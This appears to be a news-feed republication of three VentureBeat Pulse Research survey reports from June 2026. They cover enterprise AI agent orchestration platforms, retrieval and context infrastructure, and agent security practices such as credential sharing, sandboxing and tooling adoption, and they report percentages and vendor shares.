The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

]]> <![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]> https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ Thu, 23 Jul 2026 19:19:42 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

]]> <![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]> https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ Thu, 23 Jul 2026 19:19:41 +0200 📰 IT Nachrichten tsecurity.de Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

